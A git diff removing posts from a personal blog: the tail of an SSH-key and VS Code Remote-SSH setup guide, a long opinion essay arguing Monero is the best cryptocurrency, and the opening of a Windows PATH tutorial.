- -## Generating an SSH key - -If you're on Windows, you will need to install the OpenSSH feature from Settings or you can use WSL to be able to use `ssh-keygen`. - -You can generate an SSH key using `ssh-keygen -t ed25519`. Press enter on the prompt to use the default filename. - -Keep track of where the key is stored. (e.g. `C:\Users\maste\.ssh\id_ed25519`) -This will be useful when configuring the Remote-SSH VSCode extension. - -## Adding SSH key to Authorized Keys - -During the process of adding our keys, we'll have to enter our passwords. - -### Linux / MacOS / WSL - -```sh -ssh-copy-id -i path/to/file/if/not/default USER@HOST -# examples -ssh-copy-id USER@HOST -ssh-copy-id -i .ssh/id_ed25519.pub USER@HOST -ssh-copy-id -i /mnt/c/Users/maste/.ssh/id_ed25519.pub USER@HOST -``` - -When doing this, press enter to any yes/no prompts such as fingerprints and etc. The fingerprint prompt is -important only if you can't trust your network (e.g. Starbucks WiFi). - -If you're having trouble with this, just `cd` into the `.ssh` folder and use `-i id_ed25519.pub` - -### Windows Without WSL - -If you're on Windows, you won't have access to `ssh-copy-id`. Instead you can modify the first command below or use the second command -if you aren't doing anything abnormal on your computer. - -```powershell -type path\to\id_algo.pub | ssh USER@HOST "cat >> .ssh/authorized_keys" -# type $env:USERPROFILE\.ssh\id_ed25519.pub | ssh user@host "cat >> .ssh/authorized_keys" -# the above is a helper that hopefully requires no modifications -``` - -## Setting up VS Code - -1. Install the [Remote - SSH extension](https://marketplace.visualstudio.com/items?itemName=ms-vscode-remote.remote-ssh) -2. Use the Command Palette (Ctrl + Shift + P) and use the "Remote-SSH: Open SSH Configuration File..." command -3. Select the first path (e.g. `C:\Users\maste\.ssh\config`) -4. Enter the information for your remote server(s). Here is mine for reference. I had to comment out PreferredAuthentications. - - ```sh - Host uWaterloo - User e5lopez - HostName linux.student.cs.uwaterloo.ca - IdentityFile "C:\Users\maste\.ssh\id_ed25519" - ForwardAgent yes - AddKeysToAgent yes - # ssh -X - ForwardX11 yes - ForwardX11Trusted yes - # Install https://sourceforge.net/projects/vcxsrv/ (XLaunch from Windows Search) - # Set USER ENVIRONMENT VARIABLE "DISPLAY" to "localhost:0" - - # Linux/MacOS: IdentityFile "/Users/USER/.ssh/id_ed25519" - # PreferredAuthentications publickey - # to set up a ProxyJump see next section - ``` - -5. From the command palette, use "Remote-SSH: Connect Current Window to Host..." and select the host you just added -6. A window will show up asking you to choose the platform for the remote server so choose the **remote server's** platform (e.g. Linux) -7. If all goes well, you should be able to connect without having to enter a password -![VS Code SSH](/images/vs-code/connected-example.webp) -8. Tip: add multiple folders in the remote server to a workspace - -## Proxy Jump Setup - -Suppose we want to SSH into an environment but through another one (proxy) first. To do this in VSCode, we add the following configuration - -```sh -Host hostOne - User e5lopez - HostName linux.student.cs.uwaterloo.ca - IdentityFile "C:\Users\maste\.ssh\id_ed25519" - -Host hostTwo - ProxyJump hostOne - HostName ugster504.student.cs.uwaterloo.ca - User e5lopez - ForwardAgent yes -``` diff --git a/content/posts/why-monero-is-the-best-crypto-currency.md b/content/posts/why-monero-is-the-best-crypto-currency.md deleted file mode 100644 index e0e016df8..000000000 --- a/content/posts/why-monero-is-the-best-crypto-currency.md +++ /dev/null @@ -1,337 +0,0 @@ ---- -title: "Why Monero Is the Best Crypto-Currency" -date: 2021-10-24T11:37:57-05:00 -draft: false -tags: - - monero - - cryptocurrency -summary: "Discover why Monero stands out as the best cryptocurrency for true privacy and fungibility. Explore its features, benefits, and how it ensures untraceable transactions" ---- - -![Header Image](/images/crypto/monero-pros.webp) - -{{< toc >}} - -## Introduction - -### Arguments - -- Fungibility -- Privacy Reliability (Layer 1) -- ASIC Resistance -- Store of value - - Not going to elaborate further than the fact that privacy invites storing wealth - -This article is meant to be the definitive guide on why Monero is the king of all cryptos when it comes to fulfilling the role of money or real currency. -It is long in order to be thorough, as well as includes common responses/tactics. - -The intended target audience is an open-minded reader interested in cryptocurrency as well as fellow Monero users who continuously answer questions such as "why does Monero (not) do X?." -I am open to debate, but I will say that when it comes to cryptoCURRENCY, privacy is a must. - -I will be comparing Monero's features to those found in Bitcoin (BTC), Ethereum (ETH), Stellar (XLM), and ZCash (ZEC). -I will also talk about layer 2 solutions: BTC's Lightning, BCH's CashFusion, ETH's Tornado Cash. - -For all other cryptos/solutions, one can use the transitive property: If Monero > X and X > Y, then Monero > Y. - -I will start with a brief introduction to Monero, since privacy was not simple to implement. - -## What is Monero? - -On a high levels, Monero aims to be digital cash. It actually outdoes cash when it comes to fungibility. -It does not support smart contracts, but there is some research being done on how to support some smart contract features. - -### Better than cash - -- balance cannot be calculated out without consent -- transaction amounts, parties, and times cannot be figured by outside parties -- each atomic unit of Monero is indifferent from another (fungible) - - where cash suffers is that cash that has any trace of cocaine can be confiscated under civil forfeiture -- cannot be stolen unless encryption is broken - - you should always store your Monero seed in a KeePassX database on two separate devices - - if you are worried about transferring your money upon, there are ways other than a will to send a password to a person -- digitally accessible - - it is as easy to send large amounts of XMR as it is small amounts -- flat transaction fees - - credit cards do not have flat fees - -### CryptoCurrency Properties - -- Monero uses stealth addresses to obscure the number of times an address has received Monero. These are similar to the modulus concept where (x mod 5 = 3) has an infinite number of solutions. They are created by the sender to protect the information of the receiver. That way, an observer is uncertain how many times a targeted address has actually received Monero. All wallets implement this, so only a bad actor would not create a stealth address, but Monero doesn't rely on just stealth addresses -- Monero uses ring signatures to protect the identity of the sender. At the moment, each transaction has 10 other possible signatories, called decoys, as seen [here](https://xmrchain.net/tx/75fbbd3db7d7a5739e06c61282990bb44c090ee81ff288cde1feb7ea82f67f51) -- One seed is the key to an infinite amount of accounts each with an infinite amount of addresses. Think of this like having multiple chequing accounts and each has multiple direct deposit numbers. These accounts are mathematically generated, so the nth account will always be the same on different wallet clients. -- Transaction fees reduce as the number of transactions increase -- Block sizes are dynamic in the long term but block-to-block growth is capped via mining penalties -- Monero uses the proof-of-work consensus protocol RandomX algorithm for its ASIC resistance -- Monero is not a Bitcoin fork. It is actually a Bytecoin fork with several improvements - -## Fungibility - -Culpable cryptos: Most except Monero, its forks, and possibly some mimblewimble coins - -For a crypto to be money, it has to be fungible. If crypto is not fungible, users are at risk of being denied service for not being "right." The definition of right would be dependent on the receiver and could even be legislated by governments. Transaction histories allow this to happen and there's no guarantee you aren't being watched for maybe transacting with someone who had the "wrong" coins. This is an issue with all cryptocurrencies except for Monero. With ZEC, since transactions are public by default, and most transactions on the blockchain are public, having the option for public transactions means that receivers can simply refute any transaction that isn't public. This is true for exchanges. Exchange use t-addresses for ZEC, not the shielded ones. - -Now you may say not having fungibility prevents money laundering and duly hurts criminals (does it really though?), but what about the undue harm to individuals? The definition of a criminal is different in every country. According to [Humanity Dignity Trust](https://www.humandignitytrust.org/lgbt-the-law/map-of-criminalisation/), engaging in homosexual activities is a crime in 71 countries. We actively hurt marginalized groups when we promote non-fungible cryptos. If you and your same-sex partner shared crypto together, an authoritative government can easily suspect you of sleeping together, since sharing bank/money accounts is more common among partners than friends. If you like to argue in bad faith by saying maybe they are just father-son, you'd be lying to yourself if you think governments making homosexuality a crime is going to think half of the people sharing an account with the same-sex is just a rich parent. - -## Privacy - -Privacy is defined as protecting sensitive information such as networth, transaction value, and if a person transacted. -Culpable cryptos: All except Monero, its forks, ZCash's shielded transactions, and possibly mimblewimble coins. -There are layer 2 solutions, but like I said before, these aren't easy to use, and are prone to ignorance. Users would be required to know about them, they cost more, -the transactions stand out, and the user looks automatically suspicious for transacting differently than other people on the network. - -With Monero, the defaults are private and deviation from the defaults erodes users' own privacy, and so it is not encouraged unless you -know what you are doing! Churning, timelocks (DO NOT TOUCH THIS), and sending to multiple addresses comes to mind. - -Privacy is a fundamental human right. Any cryptocurrency that doesn't protect the balance of a wallet by protecting the history of transactions, puts the owner at risk from bad actors. One should not have to take many precautions such as using multiple wallets just for some privacy. One would also have to somehow keep each wallet's coins separated from each other. Then there are mixers. Mixers/Tumblers are 2014 technology. They cost more transaction fees, take time, and spam the network. Objectively speaking, a cryptocurrency that can protect your privacy with one transaction is much better than a cryptocurrency that requires you to use 3rd party tools for some possible privacy. How can you be certain that proprietary blockchain analysis tools haven't already figured out a way to map out tumbled coins? - -Here is a real example of the privacy provided by the fiat banking system: In Canada, we have Interac eTransfers. When I send an eTransfer to my friend, or vice-versa, we don't know how much each other has. But if we had used BTC, ETH, SOL, XLM, and by ZEC (default configuration for the sender), we could've seen each others' balances. We simply cannot expect any crypto to replace fiat if the privacy will end up being worse than using fiat. This is of course assuming a world where crypto prices have reduced volatility. Before you say "people do not care about privacy," please tell me would you leave the door open at a public washroom? People do care about privacy, they just prefer convenience more. Monero aims to be the convenient solution that is private. - -Let's dismantle some arguments that think network effect + layer n solutions > layer 1 privacy. I will not be using # of users as an argument when there are more Monero users than there are users using the Layer n solution. - -### Tumblers - -- Requires users to trust centralized service or do it yourself which is tricky for new users. -- Tumblers can be traced by blockchain analytic companies -- Transaction fees ++ -- Network spam ++ -- Does not protect balances and thus would require managing at least two addresses just to reach the basic level of Monero's privacy. UX is much simpler and thus better for Monero. Monero has its own UX faults, but they are all UI and not technical. UI can always be improved at no cost to the user. -- Requires user knowledge - -News from 2024 is that Samurai and Wasabi both disabled their custom "privacy" - -### BTC & Lightning - -- Inbound liquidity. You need 5 BTC to receive ≤ 5 BTC. This is a rich get the richer scheme, and it's not mentioned often enough. -Many people around the world live paycheck to paycheck, people simply cannot be paid in BTC-Lightning because of this incredible flaw. Remember we are dicussing cryptocurrency as money. - - The propose solution to this is to pay someone 1% of the liquidity you need every time you want to receive too much BTC. So imagine losing 1% every time you want to receive BTC and liquidate (spend). -- Onboarding issues (L1 Transaction) - - Fees: opening a channel requires you to tie up BTC into a channel and costs you a transaction fee. - - Limited Transactions/day: There isn't enough time in the world to onboard billions of people who require money to transact -- Balance attack. An attacker can send fake transactions to your invoice to determine your channel balance. You may argue you can have multiple channels or you can store most BTC on layer 1, but how is that more convenient than Monero? You end up having to keep track of and think about more than if you had just used Monero. -- Requires invoicing (being online). For you to send money to me, I have to create an invoice for you to send money to. You have to ask me for permission to send me money! This is absurd, donations would require more work than what layer 1 provides, and is worse than the fiat system. -Hosting a website or using a centralized service is not a solution to this problem. Privacy is hindered with these alternatives. Why make life difficult when a solution already exist? -- Node network. To send BTC through lightning to someone you don't have a channel open with, you have to HOPE that they are connected indirectly to you via a chain of mutual nodes through another channel you have open. Usability would require the centralization of payment channels and thus is not really secure. -- There are probably more issues that I do not know about -- There are more Monero users than there are channels on Lightning. Atomic swap to Monero is easier than using Lightning channels. - -### Mixing - -- Every piece of BTC has history to it. -- Ever heard of adverse selection? Users of BTC that has been tainted are more likely to wash it by methods including mixing. -- You are risking your own BTC, by using mixing services. -- Not to mention, these mixing services can get hacked or shut down for money laundering -- More expensive than base transaction -- Requires user knowledge - -### BTC-XMR Atomic Swap - -- Some BTC users think the BTC-XMR swap makes BTC better because BTC users now have another way to wash their money -- They promote swapping to XMR and then swapping back to BTC! -- These are the users who use BTC because it is first, not because they think the tech is the best - -### BCH + CashFusion 💵 - -CashFusion obfuscates the sender of the coins but does not protect the owner's balances. If you give me your BCH address, I still know how much you own. You'd have to maintain two addresses, one for receiving and one for sending just to get to the basic privacy protections Monero offers without any addon or user knowledge requirement. - -CashFusion relies on a single server which means that it's centralized and prone to [attacks](https://www.reddit.com/r/btc/comments/pwupmn/comment/hem7yuc/?utm_source=share&utm_medium=web2x&context=3). If one manages to take out CashFusion, all cash-fusions are unable to be completed. This is worse than Visa and MasterCard who have their own node network. These centralized companies are more decentralized than CashFusion itself! Reminder: Facebook, an almost $1T company went down for hours on Monday, October 4th, 2021 due to a DNS issue. Centralized internet services are all prone to being unusable by a user. The good thing is that there is no risk of losing funds (according to CashFusion). - -Instead of using a basic BCH wallet, you now have to use CashFusion's network. This is no different from simply downloading a Monero wallet and swapping BCH for XMR. - -Bitcoin Cash users have the right mindset; privacy is a human right. -They like the idea of privacy but have this loyalty towards BCH similar to smokers opting for cigarettes over ecigs. -One is objectively better than the other. Crypto is still in its infancy, so it'll take 10 years for people to stop acting like hard drug users who should be using psychedelics instead. - -### ETH + Railgun - -So Railgun is something I heard recently (2024) - -### ETH + Aztec Protocol - -2023-04-09: Well well well, zk.money has been [sunset](https://medium.com/aztec-protocol/sunsetting-aztec-connect-a786edce5cae) so we'll one day see about this "Noir protocol" the Aztec team has started working on. - -2022-09-29: Well I was right, the lack of ETH fungibility is proof that [layer 2](https://ethereum.org/en/layer-2/#layer-2-powered-by-ethereum) solutions -have a serious flaw and can make you a criminal or sanctioned just for wanting privacy. Tornado Cash being sanctioned means its worse even legally than using Monero. So now I will discuss this Aztec Protocol alternative for now, [as censorship is already brewing](https://twitter.com/aztecnetwork/status/1560710567249096704?s=20&t=-EDlvVlsKLdgAxGjJSfHJA). It's only a matter of time before the next popular privacy protocol gets sanctioned, so again, the main argument is that layer 2 protocols simply lack fungibility because observers can tell that a privacy preserving protocol was used and can thus discriminate your coins. With Monero, people have to either accept it for what it is or not accept it at all. All or nothing works; just like https and encryption works. Encryption is an all or nothing thing. - -How does [Aztec](https://aztec.network/) work? It uses [zero-knowledge rollups](https://ethereum.org/en/developers/docs/scaling/zk-rollups/) meaning that it leverages the -base layer of Ethereum for security, and it guarantees privacy after shielding. You can send shielded amounts to other account aliases and even layer 1 accounts, however the details of receiving are a bit unknown. I'll have to do some actual practical research to see its limitations as protocol, but since it is a protocol and not actual currency, it's only a matter of time until -it too is sanctioned. It was released in 2021 which is why it was not included in the first publishing of this article. - -An overview of its issues: - -- ETH going in and coming out are branded as have being part of Aztec -- You need 0.1 ETH to start recieving on Aztec -- [IP logging](https://twitter.com/aztecnetwork/status/1560710578254925824) and Single-address pending deposit caps (I don't know exactly what this means) -- [Extremely Centralized](https://medium.com/aztec-protocol/layer-by-layer-a-guide-to-aztecs-security-approach-87df087093c0) - - [Nodes](https://github.com/AztecProtocol/aztec-connect/tree/master/falafel) can be run decentralized, however because of the previous tweet, transactions can only be submitted when the central nodes fail. An antithesis to privacy! This is like the CIA being the only ones allowed to run TOR nodes and only if their nodes went down would other TOR nodes be allowed. -- You send/receive with an alias; one alias per wallet (0.1ETH) or something - - this means to receive anonymously, you need another wallet to deposit 0.1ETH into Aztec. -- Deposit cap of (5 ETH / 10,000 DAI) so $10,000 and written intension to keep it this way instead of increasing it to 50ETH / 100,000 DAI as promised. - -Overall, why limit yourself to this centralized privacy protocol, when [ETH-XMR](https://github.com/AthanorLabs/atomic-swap) atomic swaps on Arbitrum protocol are around the corner? Atomic swaps combined with better UI/UX front-ends will be the end for these privacy protocols. - -### ETH + Tornado 🌪 Cash - -The good thing about Tornado cash compared to CashFusion is that you don't have to rely on a centralized service. The web app is a UI for the Tornado: Mixer smart contract. This is a very good use of smart contracts but still, this service does not bring Ethereum up to Monero's default protections. - -For one, you are restricted to sending and withdrawing 4 different quantities of ETH. How I would use Tornado is if I needed to "cleanse" ETH, I'd have to continuously send ETH to and then withdraw to different addresses each time. That's 9 addresses if I had to move 0.9 ETH, not including transaction fees, the .0X amount of ETH left, and even the time/headache just to accomplish this. Up to $270 would be forfeited in order to get transaction privacy, not balance privacy. - -A single Monero seed can have an infinite number of accounts and each account can have an infinite number of subaddresses. Instead of subaddresses showing up on the blockchain, a stealth address is created by the sender on the receiver's behalf and shows up on the transaction. Each transaction also has 7 other possible signatures (sender's being a stealth address again) and so the sender is protected as well. The transaction amount is also unknown to observers - -A single Monero seed can have an infinite number of accounts and each account can have an infinite number of subaddresses. Instead of subaddresses showing up on the blockchain, a stealth address is created by the sender on the receiver's behalf and shows up on the transaction. Each transaction also has 7 other possible signatures (sender's being a stealth address again) and so the sender is protected as well. The transaction amount is also unknown to observers. - -**Tornado Cash is just a mixer and like all mixer's unless all transactions go through Tornado, ETH with a history dating to a Tornado can be seen as more suspicious than non-Tornado ETH.** - -2022/09/29: I was right, this flaw I highlighted is now viciously used to enforce the sanctioning of -ETH that has gone through Tornado Cash. - -Ethereum has one thing over Monero which is smart contracts but just because they are called smart, does not mean they are used in a very smart way. DAO exploit resulted in a hard fork because it affects the founders, then there's the Polygon exploit, and the Indexed Finance exploit. Even after being audited, smart contracts can be exploited. DeFi is simply less secure at the moment compared to proprietary banking systems that are at least insured up to $100,000 per person. It's open-source minus the community inspection. I do hope DeFi improves in the coming years but a question for the reader is why Ethereum and not Solana, Cardano, Stellar? Should Ethereum really move away from proof-of-work? Let's find out in the next subsection. - -Ethereum has one thing over Monero which is smart contracts but just because they are called smart, does not mean they are used in a very smart way. DAO exploit resulted in a hard fork because it affects the founders, then there's the Polygon exploit, and the Indexed Finance exploit. Even after being audited, smart contracts can be exploited. DeFi is simply less secure at the moment compared to proprietary banking systems that are at least insured up to $100,000 per person. It's open-source minus the community inspection. I do hope DeFi improves in the coming years but a question for the reader is why Ethereum and not Solana, Cardano, Stellar? Should Ethereum really move away from proof-of-work? Let's find out in the next subsection. - -### MimbleWimble - -Coins that all into this category include, LTC, GRIN, BEAM. - -From ["Breaking Mimblewimble’s Privacy Model"](https://medium.com/dragonfly-research/breaking-mimblewimble-privacy-model-84bcd67bfe52), we see that there is a serious flaw in Mimblewimble that isn't emphasized enough and its consequences aren't communicated clearly. I highly suggest reading it, but I will simplify it. MimblewWimble works by aggregating multiple individual transactions into on big transaction / CoinJoin on the blockchain. However, since the CoinJoin has to be built one transaction at a time, a sniffer/malicious node that is connected to all other nodes in the network, can simply pick up transactions before the aggregation is finished and unwind the final coinjoin to see the sender and receiver (amounts are safe, but privacy is both identity and amount, not just amount). Privacy isn't real if there's a gate to access it; Privacy is real when the technology is unable to be used against itself. - -## On ZCash - -Now is a good time to dismantle ZCash. Z-cash offers privacy optionally and not even by default. That is the only reason it is on more exchanges than Monero. To my knowledge, no exchange that supports ZCash and not Monero allows shielded deposits (50% sure) and withdrawals. Additionally, transparent transactions are the default, most transactions on the blockchain were transparent ones, and users have to trust that ZCash was set up without any bad actors. Transactions being transparent by default make shielded transactions stick out. This leads to discrimination and suspicion of users that use shielded transactions. In addition to these issues, ZCash gives 10% of the total supply to their own founders. This goes against equitable decentralization and democracy. - -Furthermore, ZCash does not protect transaction values for even transparent → shielded addresses. Having two types of addresses means that senders can discriminate against shielded address users. This two type system means that common behaviours such as transacting in short periods of time can be susceptible to blockchain analysis and has been traced before by even an [individual](https://twitter.com/The8Connor/status/1284900368116330497). "having unshielded TX inherently make shielded ones less private" - [u/lol_VEVO](https://www.reddit.com/r/CryptoCurrency/comments/hubbvg/comment/fym8yn9/?utm_source=share&utm_medium=web2x&context=3) - -Adding more insult to privacy advocates, the founder - Zooka - once (drunkenly) tweeted that they would add privacy by default and that they would take it away from criminals. Needing to trust the setup does make it possible… The fact that the founder holds this opinion shows us that ZCash isn't interested in privacy as a human right, only privacy for those who hold the right opinion. By the way, the definition of criminal varies from country to country as I said in the last section. I'm attacking the vision of ZCash's leader which is fair game. - -In the Monero community, one of Monero's paid workers was also working for another crypto project. There is more to this story, but the conflict of interest was brought up in the community and the worker resigned. - -The general fund was also questioned and a general fund report was created. - -## Consensus Algorithm - -### Proof-of-Stake (PoS) vs Delegated Proof-of-Stake (DPoS) - -Before we compare staking to working, let us first decide what's objectively a better staking mechanism. DPoS suffers from even more issues compared to normal staking. Delegation is not more democratic, it's more centralized. -The rich have more votes, increase their delegate's likelihood of winning, and giving the rich voters a bigger share of the rewards. -There is a sacrifice of centralization in the name of scalability and even according to Vitalik (ETH founder), there are incentives for the delegates to collude. -In conclusion DPoS is worse than PoS so I will compare PoW to PoS. - -### Proof-of-Work (PoW) vs. Proof-of-Stake (PoS) - -So now we have come to the discussion of PoW vs PoS. Unlike previous PoS critics, I'll be arguing that PoW is better than PoS from the equity point of view and that PoS benefits the wealthy more than PoW. -PoS critics usually try to argue that PoS is less secure than PoW, but I have never seen them respond back to the solutions proposed that punish bad actors. That is why I don't consider them as solid arguments and will merely mention them. - -1. In PoW, there are costs to validating transactions in a block. The mining rewards are an incentive but a cost must be taken for a chance to get the rewards. There is real risk involved. -2. With PoS, the rich arguably get richer. A better argument is that the rich do not distribute or invest their coins in order to get richer. With PoW, the rich will have to actively spend their crypto (assuming a crypto world), distributing their coins to hardware companies and then the working class, in order to simply get the chance of more money. There is a measurable physical cost associated with it. Rewards are distributed to those who put in the most work, and not people who had the most. PoS is like a Central Bank giving newly printed money more often to the people who have saved the most. What's to stop the UN to start a resolution that requires countries to buy up all PoS coins and then stake them together? Then the supply of ETH is fully controlled by the government at no cost to them. -3. This point is more economical and theoretical than about PoS: Inflation is when prices increase year over year. If done correctly, there is a higher cost to money hoarders than those who have an appropriate amount saved. The cost to live should be non-increasing but the cost of luxury goods should be non-decreasing and a marginal property tax can help tackle wealth inequality without direct discrimination. The wealthy should be able to live where they want and own as many properties as they desire but they should be dissuaded in raising the cost to live for others. I say all this because crypto should not benefit the fortunate more than the unfortunate. It should benefit innovation, and risk. I have purposely excluded investment because a scam also requires an investment and that is not something crypto should reward. Pre-mined coins disproportionately rewards those in power and not necessarily those that take on risk. The first buyers take on more risk than those who are facilitating the presale. There is more trust required than a PoW coin that simply utilizes users' CPU. The price of the token is determine by those that mine it and are not set by the founders/upper class. -4. [Weak Subjectivity](https://medium.com/@abhisharm/understanding-proof-of-stake-through-its-flaws-part-3-long-range-attacks-672a3d413501) -When a node comes online for the first time, how will the node know the hash of the valid chain? In PoW, the correct chain is objectively the longest chain which is determined by computation power. In PoS, the new node will have to trust other nodes to be broadcasting the right information. Let's look at Vitalik's argument: "consider the kind of situation where weak subjectivity by itself would compromise a blockchain's security. In such a world, powerful corporate or nation state actors would have the ability to somehow convince an entire community that block hash B was the block hash of block XXXYYY when most of them saw at the time and have stored in their own computers that the block hash of block XXXYYY was A, but for some reason such powerful actors would not have the ability to trick users into accepting a different location from where they download their client software." -According to Vitlak, a bad actor cannot set up more than half the network's nodes and broadcast the wrong hash such that when the nodes restart due to a network update, they won't rely on false information? It's pretty obvious that the cost to set up 51% of broadcasting nodes is considerably less than the cost to achieve 51% of the network's hash rate. -I'll admit this argument is very fuzzy, but I am open to removing it completely if one is willing to provide an unbiased risk analysis of weak subjectivity. -5. Another argument is PoS is permissioned vs PoW's permissionless. To get Monero, one can mine it on any CPU. For PoS, one needs to buy the crypto from another entity to participate in the system. -6. A premine was probably required if there was never PoW and so PoS coins reward the rich at no cost to them. A system that favours merit over the oligarchs is always fairer. -7. Other arguments that other people use (not part of my actual argument, just something to think about): Accumulated work (reversing the PoS chain is faster than than the PoW chain), finality requires 2/3 instead of 51%. - -I strongly believe that ETH 2.0 will show everyone if PoS is here to stay or is significantly less secure than PoW, but what it won't show that it is more equitable than PoW. - -As for Monero. Monero would only adopt PoS if the community voted for it and for the time being, that seems unlikely. Any Monero fork that uses PoS will be used less than Monero itself, and by the network effect, Monero will be used, not PoSonero. - -## ASIC Resistant Proof-of-Work - -Now that we have determined that PoW is more secure than PoS, let's figure out why PoW is better on Monero than the other PoW cryptos like BTC. - -For a proof-of-work network to be secure, it needs to prevent centralization and advantages. Cryptos like BTC and ZEC are all compatible with ASICs and thus prone to centralization by big corporations with ASIC farms. Monero however, uses the (4x audited) RandomX algorithm which is tweaked to run worse on GPUs and ASICs compared to CPUs by making use of as many CPU features as possible. Before [RandomX](https://github.com/tevador/RandomX/blob/master/doc/design.md), Monero needed hard forks to render any specialized ASICs useless. However with RandomX, the virtualization techniques used increases the complexity of implementing a RandomX ASIC to the point where an ASIC would end up being a CPU. - -The logic behind ASIC resistance is as [follows](https://www.reddit.com/r/Monero/comments/ggdp8e/comment/fq0332a/?utm_source=share&utm_medium=web2x&context=3): PoW algorithms are meant to be inefficient for ALL parties. ASICs allow for hardware advantages and thus greater efficiency for some parties than the individual. The ASIC manufacturer maintains a hardware advantage over other miners and can thus produce more hashes per Watt than other miners. This is objectively more centralized. Example: - -```md -Let CPU hashes per core = x hashes / watt - -# SHA-256 -ASIC hashes per core = nx Hashes / Watt, n > 1 [Advantage to specialist] - -# RandomX -ASIC hashes per core < x Hashes / Watt [due to Randomness + Virtualisation] - -ASICs cannot be made to outperform CPUs since the entire algorithm creates a random program that leverages as many CPU features as possible. -``` - -Not only would it be costly and difficult to create an ASIC to run RandomX more efficiently, but there is also a massive risk that Monero can simply hard fork again and use a modified algorithm. There are more lucrative opportunities for profit-driven firms than to try and create a complex ASIC for an algorithm purposely created to make the process difficult. - -## Transaction Fees, and Liquidating Monero - -I'm only including this for everyone to get the idea that transaction fees are only horrible for ETH at the moment. - -To properly compare fees, we will normalize each cryptocurrency market cap to that of Bitcoins, to get the normalized price and thus normalized USD fee. For most cryptos, transactions correlate with fees but not with Monero; the opposite is true, one factor being dynamic block sizes that end up lowering the fees per transaction as transactions/block increases. The argument for fees is to penalize spam, which is the attack on NANO that went on for months. The only incentive to run a NANO node is to accept NANO…The entire worth is derived from the network effect and not actual technology or cost like PoW cryptos. - -![Transaction fees table](/images/crypto/transaction-fees.webp) - -[Source of calculations](https://docs.google.com/spreadsheets/d/1WfRmKKbGrSF_t95fattTJYfZXL2qk6-byNjCXh-oYA4/edit#gid=0) - -### Notes - -- For Ethereum, the normalized Fee is poised to change when ETH 2 rolls out which will allegedly make it competitive with Solana. -- With Monero, transaction fees actually decrease as transactions increase due to dynamic block sizes. You can read more about dynamic block sizes in my Intro to Monero at the beginning of this article. If the minimum transaction fees are deemed too high, Monero can always reduce it in a hard fork, but at the moment there is no need. -- With Stellar, the fee was back-calculated from $0.00025 / transaction currently. I'm not sure if it's tied to fiat or just transaction traffic. - -There really isn't much to say about transaction fees. Anything less than $2 / transaction is good since credit card transactions cost %1.5–3 and thus sellers can accept crypto transactions that are short up 2%. - -Supply caps and block reward reductions may play a role in the future, but I'd rather wait and see make baseless speculations. -This is an unknown type of risk with Bitcoin in its current state. - -## International Standards - -Lastly, Monero and Stellar both use the ISO 4217 currency standard for international currencies just like XAU is for one troy ounce of gold. This reason is a semantic one, so that's why it's last. - -## Liquidating and Purchasing Monero - -This is not important to the argument, however it is important for Monero users. - -By now if you hate Monero, you will be tempted to start throwing a temper tantrum about Monero being de-listed and the "fear of regulations". Guess what you can use instead? You can use [fixedfloat](https://fixedfloat.com/) to exchange XMR to XLM for a 0.5% fee and then deposit XLM on the exchange you use to sell immediately to fiat. Make sure the exchange you use can be trusted or that any crypto you deposit can be recovered through at least legal means. The reason I chose XLM and not any other crypto is because I did the math, and the math says that Stellar is the cheapest today to use as a medium. - -To buy Monero, just do the same as above, but the other way around. - -![Monero Swapping Fees](/images/crypto/monero-swap-fees.webp) - -## Addressing Scalability - -Just as a reminder, with Monero, fees reduce as transactions per block go up. - -### Scenario A: Matching Bitcoin - -There are currently 272503 transactions per day on Bitcoin, -so we need to check if even modern hard drives and SSDs can handle this amount of transactions on the Monero blockchain. - -From xmrchain.net, the average transaction size on Monero for the last 25 transactions is 2.05 kB. -We'll use 3 kB per transaction to account for any future upgrades and other block data. - -Since block times are ~2 minutes, instead of 10, the transactions per block is: 272503/24/30 ~= 379 transactions per block. -A block's size is 379 * 3 = 1.137 MB. Even poor internet download speeds could handle this. - -A year's worth of transactions would be 1.137 \* 30 \* 24 * 365 = 298,803.6 MB = 300GB. - -At 300GB a year, we use 3 TB a decade, and 9 TB every three decades. - -Overall, we need to spend $500 for a 16 TB hard drive or $1,000 for a 8 TB SSD. -This is the cost in the present, but overtime storage prices will go down. -By the usage described before, an SSD will last 2.5 decades and an HDD will last 5 decades! - -### Scenario B: a Practical Stress Test - -Now we will figure out the transactions/day limit. Let's say in the future, Monero upgrades to allow nodes -to use data for 10 years. That is, any transactions incorporating outputs that are more than 10 years old -will be considered invalid. At 8TB/decade, we get 800GB per year which is x2.67 more than our previous -scenario. 800 / 365 / 3 = 730,593 transactions per day. And again, this is under the assumption that transactions become -46% bigger than they currently are. If we use the present average of 2.05 kB, 800 GB / 365 / 2.05 KB = 1,069,161 transactions per day. - -Thus, max transactions per day is within the range [730,593, 1,069,161] - -## Recap - -Monero offers fungibility, all aspects of financial privacy without requiring users to know of specific techniques, and an ASIC-resistant proof-of-work system. These three important topics might make Monero the best cryptocurrency as of today, but its open-minded and always-improving technology is why it will continue to be the best. Monero is digital cash, not a Security. - -If you enjoyed this article and want to support my future works, feel free to donate _anonymously_. -[84PR6SkYd5zaFLKDjAFrQfbaAg2c7SV3q3XDZ15QCpEZUggrN4YzY7n8m9XC3deXjo41yWHTm1LrsUpPTYGnRQbD9Cwp8En](monero:84PR6SkYd5zaFLKDjAFrQfbaAg2c7SV3q3XDZ15QCpEZUggrN4YzY7n8m9XC3deXjo41yWHTm1LrsUpPTYGnRQbD9Cwp8En) - -![monero:84PR6SkYd5zaFLKDjAFrQfbaAg2c7SV3q3XDZ15QCpEZUggrN4YzY7n8m9XC3deXjo41yWHTm1LrsUpPTYGnRQbD9Cwp8En](https://elijahlopez.ca/static/images/monero.png) - -Thanks to Monero, I only have one wallet that has multiple addresses and I don't need to worry about someone curious spying on the amount of Monero I lost in a boating accident. diff --git a/content/posts/windows-add-to-PATH-environment-variable.md b/content/posts/windows-add-to-PATH-environment-variable.md deleted file mode 100644 index 91cf9dc02..000000000 --- a/content/posts/windows-add-to-PATH-environment-variable.md +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: "How to Add to PATH Environment Variable on Windows" -date: 2023-04-21T20:02:38-04:00 -draft: false -tags: - - windows - - tutorial -summary: "A concise step-by-step tutorial with screenshots on how to add a directory to the PATH environment variable on Windows using the graphical interface." ---- - -In this concise guide, you will learn how to add a directory to the Path environment variable on Windows. - -1. Press Windows key + S -2. Type in "edit environment variables for your account" and click it (you won't need to type the entire sentence) -![Windows 10 search screenshot](/images/windows/edit-env-variables-search.webp) -3. Under the table "User variable for $USER" or "System variables", scroll and find a Variable named `Path` -![Windows 10 user path variable](/images/windows/user-path-variables.webp) -4. Either double click the row with `Path` or 